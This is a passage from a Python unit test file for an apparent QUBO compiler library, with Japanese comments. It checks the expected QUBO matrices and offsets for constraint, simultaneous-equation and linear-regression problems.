724 | [0.0, 0.0, 0.0, -1.0, 2.0, 2.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
725 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
726 | 0.0, 0.0],\
727 | [0.0, 0.0, 0.0, 0.0, -1.0, 2.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
728 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
729 | 0.0, 0.0],\
730 | [0.0, 0.0, 0.0, 0.0, 0.0, -1.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
731 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
732 | 0.0, 0.0],\
733 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -1.0, 2.0, 2.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
734 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
735 | 0.0, 0.0],\
736 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -1.0, 2.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
737 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
738 | 0.0, 0.0],\
739 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -1.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
740 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
741 | 0.0, 0.0],\
742 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -1.0, 2.0, 2.0, 0.0, 0.0,\
743 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
744 | 0.0, 0.0],\
745 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -1.0, 2.0, 0.0, 0.0,\
746 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
747 | 0.0, 0.0],\
748 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -1.0, 0.0, 0.0,\
749 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
750 | 0.0, 0.0],\
751 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -1.0, 2.0,\
752 | 2.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
753 | 0.0, 0.0],\
754 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -1.0,\
755 | 2.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
756 | 0.0, 0.0],\
757 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
758 | -1.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
759 | 0.0, 0.0],\
760 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
761 | 0.0, -1.0, 2.0, 2.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
762 | 0.0, 0.0],\
763 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
764 | 0.0, 0.0, -1.0, 2.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
765 | 0.0, 0.0],\
766 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
767 | 0.0, 0.0, 0.0, -1.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
768 | 0.0, 0.0],\
769 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
770 | 0.0, 0.0, 0.0, 0.0, -1.0, 2.0, 2.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
771 | 0.0, 0.0],\
772 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
773 | 0.0, 0.0, 0.0, 0.0, 0.0, -1.0, 2.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
774 | 0.0, 0.0],\
775 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
776 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -1.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
777 | 0.0, 0.0],\
778 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
779 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -1.0, 2.0, 2.0, 0.0, 0.0, 0.0, 0.0,\
780 | 0.0, 0.0],\
781 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
782 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -1.0, 2.0, 0.0, 0.0, 0.0, 0.0,\
783 | 0.0, 0.0],\
784 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
785 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -1.0, 0.0, 0.0, 0.0, 0.0,\
786 | 0.0, 0.0],\
787 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
788 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -1.0, 2.0, 2.0, 0.0,\
789 | 0.0, 0.0],\
790 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
791 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -1.0, 2.0, 0.0,\
792 | 0.0, 0.0],\
793 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
794 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -1.0, 0.0,\
795 | 0.0, 0.0],\
796 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
797 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -1.0,\
798 | 2.0, 2.0],\
799 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
800 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
801 | -1.0, 2.0],\
802 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
803 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
804 | 0.0, -1.0]]
805 | self.assertTrue(are_same_qubo_matrices(qubo[0], expected_qubo_matrix))
806 | self.assertEqual(offset, 10)
807 |
808 | def test_simultaneous_equations1(self):
809 | #量子ビットを用意する
810 | x = symbols('x')
811 | y = symbols('y')
812 | z = symbols('z')
813 |
814 | #連立方程式の設定
815 | H = 0
816 | H += ( 5*x - y +2*z - 7)**2
817 | H += (-3*x +4*y + z + 2)**2
818 | H += ( x -2*y -4*z + 3)**2
819 |
820 | #コンパイル
821 | qubo, offset = Compile(H).get_qubo()
822 | expected_qubo_matrix = \
823 | [[-41.0, -38.0, 6.0],\
824 | [0.0, 39.0, 20.0],\
825 | [0.0, 0.0, -27.0]]
826 | self.assertTrue(are_same_qubo_matrices(qubo[0], expected_qubo_matrix))
827 | self.assertEqual(offset, 62)
828 |
829 | def test_simultaneous_equations2(self):
830 | #量子ビットを用意する
831 | x0, x1 = symbols('x0 x1')
832 | y0, y1 = symbols('y0 y1')
833 | z0, z1 = symbols('z0 z1')
834 |
835 | #x,y,zを2進数(2bit)で表す
836 | x = 2*x0 + 1*x1
837 | y = 2*y0 + 1*y1
838 | z = 2*z0 + 1*z1
839 |
840 | #連立方程式の設定
841 | H = 0
842 | H += ( x + y + z - 6)**2
843 | H += (2*x +3*y -2*z - 11)**2
844 | H += (3*x - y + z - 4)**2
845 |
846 | #コンパイル
847 | qubo, offset = Compile(H).get_qubo()
848 | expected_qubo_matrix = \
849 | [[-104.0, 56.0, 32.0, 16.0, 0.0, 0.0],\
850 | [0.0, -66.0, 16.0, 8.0, 0.0, 0.0],\
851 | [0.0, 0.0, -96.0, 44.0, -48.0, -24.0],\
852 | [0.0, 0.0, 0.0, -59.0, -24.0, -12.0],\
853 | [0.0, 0.0, 0.0, 0.0, 72.0, 24.0],\
854 | [0.0, 0.0, 0.0, 0.0, 0.0, 30.0]]
855 | self.assertTrue(are_same_qubo_matrices(qubo[0], expected_qubo_matrix))
856 | self.assertEqual(offset, 173)
857 |
858 | def test_simultaneous_equations3(self):
859 | #量子ビットを用意する
860 | x0, x1, x2, x3, x4, x5, x6, x7 = symbols('x0 x1 x2 x3 x4 x5 x6 x7')
861 | y0, y1, y2, y3, y4, y5, y6, y7 = symbols('y0 y1 y2 y3 y4 y5 y6 y7')
862 | z0, z1, z2, z3, z4, z5, z6, z7 = symbols('z0 z1 z2 z3 z4 z5 z6 z7')
863 |
864 | #x,y,zを2進数(8bit)で表す
865 | x = 128*x0 + 64*x1 + 32*x2 + 16*x3 + 8*x4 + 4*x5 + 2*x6 + 1*x7
866 | y = 128*y0 + 64*y1 + 32*y2 + 16*y3 + 8*y4 + 4*y5 + 2*y6 + 1*y7
867 | z = 128*z0 + 64*z1 + 32*z2 + 16*z3 + 8*z4 + 4*z5 + 2*z6 + 1*z7
868 |
869 | #連立方程式の設定
870 | H = 0
871 | H += (10*x +14*y +4*z - 5120)**2
872 | H += ( 9*x +12*y +2*z - 4230)**2
873 | H += ( 7*x + 5*y +2*z - 2360)**2
874 |
875 |
876 | #コンパイル
877 | qubo, offset = Compile(H).get_qubo()
878 | expected_qubo_matrix = \
879 | [[-23313920.0, 3768320.0, 1884160.0, 942080.0, 471040.0, 235520.0,\
880 | 117760.0, 58880.0, 9273344.0, 4636672.0, 2318336.0, 1159168.0, 579584.0,\
881 | 289792.0, 144896.0, 72448.0, 2359296.0, 1179648.0, 589824.0, 294912.0,\
882 | 147456.0, 73728.0, 36864.0, 18432.0],\
883 | [0.0, -12599040.0, 942080.0, 471040.0, 235520.0, 117760.0, 58880.0,\
884 | 29440.0, 4636672.0, 2318336.0, 1159168.0, 579584.0, 289792.0, 144896.0,\
885 | 72448.0, 36224.0, 1179648.0, 589824.0, 294912.0, 147456.0, 73728.0,\
886 | 36864.0, 18432.0, 9216.0],\
887 | [0.0, 0.0, -6535040.0, 235520.0, 117760.0, 58880.0, 29440.0, 14720.0,\
888 | 2318336.0, 1159168.0, 579584.0, 289792.0, 144896.0, 72448.0, 36224.0,\
889 | 18112.0, 589824.0, 294912.0, 147456.0, 73728.0, 36864.0, 18432.0,\
890 | 9216.0, 4608.0],\
891 | [0.0, 0.0, 0.0, -3326400.0, 58880.0, 29440.0, 14720.0, 7360.0, 1159168.0,\
892 | 579584.0, 289792.0, 144896.0, 72448.0, 36224.0, 18112.0, 9056.0,\
893 | 294912.0, 147456.0, 73728.0, 36864.0, 18432.0, 9216.0, 4608.0, 2304.0],\
894 | [0.0, 0.0, 0.0, 0.0, -1677920.0, 14720.0, 7360.0, 3680.0, 579584.0,\
895 | 289792.0, 144896.0, 72448.0, 36224.0, 18112.0, 9056.0, 4528.0, 147456.0,\
896 | 73728.0, 36864.0, 18432.0, 9216.0, 4608.0, 2304.0, 1152.0],\
897 | [0.0, 0.0, 0.0, 0.0, 0.0, -842640.0, 3680.0, 1840.0, 289792.0, 144896.0,\
898 | 72448.0, 36224.0, 18112.0, 9056.0, 4528.0, 2264.0, 73728.0, 36864.0,\
899 | 18432.0, 9216.0, 4608.0, 2304.0, 1152.0, 576.0],\
900 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -422240.0, 920.0, 144896.0, 72448.0,\
901 | 36224.0, 18112.0, 9056.0, 4528.0, 2264.0, 1132.0, 36864.0, 18432.0,\
902 | 9216.0, 4608.0, 2304.0, 1152.0, 576.0, 288.0],\
903 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -211350.0, 72448.0, 36224.0, 18112.0,\
904 | 9056.0, 4528.0, 2264.0, 1132.0, 566.0, 18432.0, 9216.0, 4608.0, 2304.0,\
905 | 1152.0, 576.0, 288.0, 144.0],\
906 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -28385280.0, 5980160.0,\
907 | 2990080.0, 1495040.0, 747520.0, 373760.0, 186880.0, 93440.0, 2949120.0,\
908 | 1474560.0, 737280.0, 368640.0, 184320.0, 92160.0, 46080.0, 23040.0],\
909 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -15687680.0, 1495040.0,\
910 | 747520.0, 373760.0, 186880.0, 93440.0, 46720.0, 1474560.0, 737280.0,\
911 | 368640.0, 184320.0, 92160.0, 46080.0, 23040.0, 11520.0],\
912 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -8217600.0, 373760.0,\
913 | 186880.0, 93440.0, 46720.0, 23360.0, 737280.0, 368640.0, 184320.0,\
914 | 92160.0, 46080.0, 23040.0, 11520.0, 5760.0],\
915 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -4202240.0,\
916 | 93440.0, 46720.0, 23360.0, 11680.0, 368640.0, 184320.0, 92160.0,\
917 | 46080.0, 23040.0, 11520.0, 5760.0, 2880.0],\
918 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -2124480.0,\
919 | 23360.0, 11680.0, 5840.0, 184320.0, 92160.0, 46080.0, 23040.0, 11520.0,\
920 | 5760.0, 2880.0, 1440.0],\
921 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
922 | -1068080.0, 5840.0, 2920.0, 92160.0, 46080.0, 23040.0, 11520.0, 5760.0,\
923 | 2880.0, 1440.0, 720.0],\
924 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
925 | -535500.0, 1460.0, 46080.0, 23040.0, 11520.0, 5760.0, 2880.0, 1440.0,\
926 | 720.0, 360.0],\
927 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
928 | 0.0, -268115.0, 23040.0, 11520.0, 5760.0, 2880.0, 1440.0, 720.0, 360.0,\
929 | 180.0],\
930 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
931 | 0.0, 0.0, -8223744.0, 393216.0, 196608.0, 98304.0, 49152.0, 24576.0,\
932 | 12288.0, 6144.0],\
933 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
934 | 0.0, 0.0, 0.0, -4210176.0, 98304.0, 49152.0, 24576.0, 12288.0, 6144.0,\
935 | 3072.0],\
936 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
937 | 0.0, 0.0, 0.0, 0.0, -2129664.0, 24576.0, 12288.0, 6144.0, 3072.0,\
938 | 1536.0],\
939 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
940 | 0.0, 0.0, 0.0, 0.0, 0.0, -1070976.0, 6144.0, 3072.0, 1536.0, 768.0],\
941 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
942 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -537024.0, 1536.0, 768.0, 384.0],\
943 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
944 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -268896.0, 384.0, 192.0],\
945 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
946 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -134544.0, 96.0],\
947 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
948 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -67296.0]]
949 | self.assertTrue(are_same_qubo_matrices(qubo[0], expected_qubo_matrix))
950 | self.assertEqual(offset, 49676900)
951 |
952 | def test_simultaneous_equations4(self):
953 | #量子ビットをNビット表現で用意する
954 | x = symbols_nbit(0, 256, 'x{}', num=8)
955 | y = symbols_nbit(0, 256, 'y{}', num=8)
956 | z = symbols_nbit(0, 256, 'z{}', num=8)
957 |
958 | #連立方程式の設定
959 | H = 0
960 | H += (10*x +14*y +4*z - 5120)**2
961 | H += ( 9*x +12*y +2*z - 4230)**2
962 | H += ( 7*x + 5*y +2*z - 2360)**2
963 |
964 | #コンパイル
965 | qubo, offset = Compile(H).get_qubo()
966 | expected_qubo_matrix = \
967 | [[-23313920.0, 3768320.0, 1884160.0, 942080.0, 471040.0, 235520.0,\
968 | 117760.0, 58880.0, 9273344.0, 4636672.0, 2318336.0, 1159168.0, 579584.0,\
969 | 289792.0, 144896.0, 72448.0, 2359296.0, 1179648.0, 589824.0, 294912.0,\
970 | 147456.0, 73728.0, 36864.0, 18432.0],\
971 | [0.0, -12599040.0, 942080.0, 471040.0, 235520.0, 117760.0, 58880.0,\
972 | 29440.0, 4636672.0, 2318336.0, 1159168.0, 579584.0, 289792.0, 144896.0,\
973 | 72448.0, 36224.0, 1179648.0, 589824.0, 294912.0, 147456.0, 73728.0,\
974 | 36864.0, 18432.0, 9216.0],\
975 | [0.0, 0.0, -6535040.0, 235520.0, 117760.0, 58880.0, 29440.0, 14720.0,\
976 | 2318336.0, 1159168.0, 579584.0, 289792.0, 144896.0, 72448.0, 36224.0,\
977 | 18112.0, 589824.0, 294912.0, 147456.0, 73728.0, 36864.0, 18432.0,\
978 | 9216.0, 4608.0],\
979 | [0.0, 0.0, 0.0, -3326400.0, 58880.0, 29440.0, 14720.0, 7360.0, 1159168.0,\
980 | 579584.0, 289792.0, 144896.0, 72448.0, 36224.0, 18112.0, 9056.0,\
981 | 294912.0, 147456.0, 73728.0, 36864.0, 18432.0, 9216.0, 4608.0, 2304.0],\
982 | [0.0, 0.0, 0.0, 0.0, -1677920.0, 14720.0, 7360.0, 3680.0, 579584.0,\
983 | 289792.0, 144896.0, 72448.0, 36224.0, 18112.0, 9056.0, 4528.0, 147456.0,\
984 | 73728.0, 36864.0, 18432.0, 9216.0, 4608.0, 2304.0, 1152.0],\
985 | [0.0, 0.0, 0.0, 0.0, 0.0, -842640.0, 3680.0, 1840.0, 289792.0, 144896.0,\
986 | 72448.0, 36224.0, 18112.0, 9056.0, 4528.0, 2264.0, 73728.0, 36864.0,\
987 | 18432.0, 9216.0, 4608.0, 2304.0, 1152.0, 576.0],\
988 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -422240.0, 920.0, 144896.0, 72448.0,\
989 | 36224.0, 18112.0, 9056.0, 4528.0, 2264.0, 1132.0, 36864.0, 18432.0,\
990 | 9216.0, 4608.0, 2304.0, 1152.0, 576.0, 288.0],\
991 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -211350.0, 72448.0, 36224.0, 18112.0,\
992 | 9056.0, 4528.0, 2264.0, 1132.0, 566.0, 18432.0, 9216.0, 4608.0, 2304.0,\
993 | 1152.0, 576.0, 288.0, 144.0],\
994 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -28385280.0, 5980160.0,\
995 | 2990080.0, 1495040.0, 747520.0, 373760.0, 186880.0, 93440.0, 2949120.0,\
996 | 1474560.0, 737280.0, 368640.0, 184320.0, 92160.0, 46080.0, 23040.0],\
997 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -15687680.0, 1495040.0,\
998 | 747520.0, 373760.0, 186880.0, 93440.0, 46720.0, 1474560.0, 737280.0,\
999 | 368640.0, 184320.0, 92160.0, 46080.0, 23040.0, 11520.0],\
1000 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -8217600.0, 373760.0,\
1001 | 186880.0, 93440.0, 46720.0, 23360.0, 737280.0, 368640.0, 184320.0,\
1002 | 92160.0, 46080.0, 23040.0, 11520.0, 5760.0],\
1003 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -4202240.0,\
1004 | 93440.0, 46720.0, 23360.0, 11680.0, 368640.0, 184320.0, 92160.0,\
1005 | 46080.0, 23040.0, 11520.0, 5760.0, 2880.0],\
1006 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -2124480.0,\
1007 | 23360.0, 11680.0, 5840.0, 184320.0, 92160.0, 46080.0, 23040.0, 11520.0,\
1008 | 5760.0, 2880.0, 1440.0],\
1009 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
1010 | -1068080.0, 5840.0, 2920.0, 92160.0, 46080.0, 23040.0, 11520.0, 5760.0,\
1011 | 2880.0, 1440.0, 720.0],\
1012 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
1013 | -535500.0, 1460.0, 46080.0, 23040.0, 11520.0, 5760.0, 2880.0, 1440.0,\
1014 | 720.0, 360.0],\
1015 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
1016 | 0.0, -268115.0, 23040.0, 11520.0, 5760.0, 2880.0, 1440.0, 720.0, 360.0,\
1017 | 180.0],\
1018 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
1019 | 0.0, 0.0, -8223744.0, 393216.0, 196608.0, 98304.0, 49152.0, 24576.0,\
1020 | 12288.0, 6144.0],\
1021 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
1022 | 0.0, 0.0, 0.0, -4210176.0, 98304.0, 49152.0, 24576.0, 12288.0, 6144.0,\
1023 | 3072.0],\
1024 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
1025 | 0.0, 0.0, 0.0, 0.0, -2129664.0, 24576.0, 12288.0, 6144.0, 3072.0,\
1026 | 1536.0],\
1027 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
1028 | 0.0, 0.0, 0.0, 0.0, 0.0, -1070976.0, 6144.0, 3072.0, 1536.0, 768.0],\
1029 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
1030 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -537024.0, 1536.0, 768.0, 384.0],\
1031 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
1032 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -268896.0, 384.0, 192.0],\
1033 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
1034 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -134544.0, 96.0],\
1035 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
1036 | 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -67296.0]]
1037 | self.assertTrue(are_same_qubo_matrices(qubo[0], expected_qubo_matrix))
1038 | self.assertEqual(offset, 49676900)
1039 |
1040 | def test_linear_regression1(self):
1041 | #量子ビットを用意する
1042 | a0, a1, a2, a3, a4, a5, a6, a7 = symbols('a0 a1 a2 a3 a4 a5 a6 a7')
1043 | b0, b1, b2, b3, b4, b5, b6, b7 = symbols('b0 b1 b2 b3 b4 b5 b6 b7')
1044 |
1045 | #aを2進数(8bit)で表す、10~20で規格化
1046 | a = 10 + 10 * ((128*a0 + 64*a1 + 32*a2 + 16*a3 + 8*a4 + 4*a5 + 2*a6 + 1*a7) / 256)
1047 | # print(a)
1048 | #bを2進数(8bit)で表す、0~1で規格化
1049 | b = 0 + 1 * ((128*b0 + 64*b1 + 32*b2 + 16*b3 + 8*b4 + 4*b5 + 2*b6 + 1*b7) / 256)
1050 |
1051 | #各点の誤差二乗をペナルティとする
1052 | H = 0
1053 | H += (5.75 - (a*0.31 + b))**2
1054 | H += (8.56 - (a*0.4 + b))**2
1055 | H += (8.42 - (a*0.47 + b))**2
1056 | H += (7.78 - (a*0.4 + b))**2
1057 | H += (10.25 - (a*0.54 + b))**2
1058 | H += (6.79 - (a*0.36 + b))**2
1059 | H += (11.51 - (a*0.56 + b))**2
1060 | H += (7.66 - (a*0.43 + b))**2
1061 | H += (6.99 - (a*0.32 + b))**2
1062 | H += (10.61 - (a*0.6 + b))**2
1063 |
1064 |
1065 | #コンパイル
1066 | qubo, offset = Compile(H).get_qubo()
1067 | expected_qubo_matrix = \
1068 | [[-133.58749999999998, 50.477500000000006, 25.238750000000003,\
1069 | 12.619375000000002, 6.309687500000001, 3.1548437500000004,\
1070 | 1.5774218750000002, 0.7887109375000001, 21.95, 10.975, 5.4875, 2.74375,\
1071 | 1.371875, 0.6859375, 0.34296875, 0.171484375],\
1072 | [0.0, -79.413125, 12.619375000000002, 6.309687500000001,\
1073 | 3.1548437500000004, 1.5774218750000002, 0.7887109375000001,\
1074 | 0.39435546875000005, 10.975, 5.4875, 2.74375, 1.371875, 0.6859375,\
1075 | 0.34296875, 0.171484375, 0.0857421875],\
1076 | [0.0, 0.0, -42.86140625, 3.1548437500000004, 1.5774218750000002,\
1077 | 0.7887109375000001, 0.39435546875000005, 0.19717773437500002, 5.4875,\
1078 | 2.74375, 1.371875, 0.6859375, 0.34296875, 0.171484375, 0.0857421875,\
1079 | 0.04287109375],\
1080 | [0.0, 0.0, 0.0, -22.2194140625, 0.7887109375000001, 0.39435546875000005,\
1081 | 0.19717773437500002, 0.09858886718750001, 2.74375, 1.371875, 0.6859375,\
1082 | 0.34296875, 0.171484375, 0.0857421875, 0.04287109375, 0.021435546875],\
1083 | [0.0, 0.0, 0.0, 0.0, -11.306884765625, 0.19717773437500002,\
1084 | 0.09858886718750001, 0.049294433593750006, 1.371875, 0.6859375,\
1085 | 0.34296875, 0.171484375, 0.0857421875, 0.04287109375, 0.021435546875,\
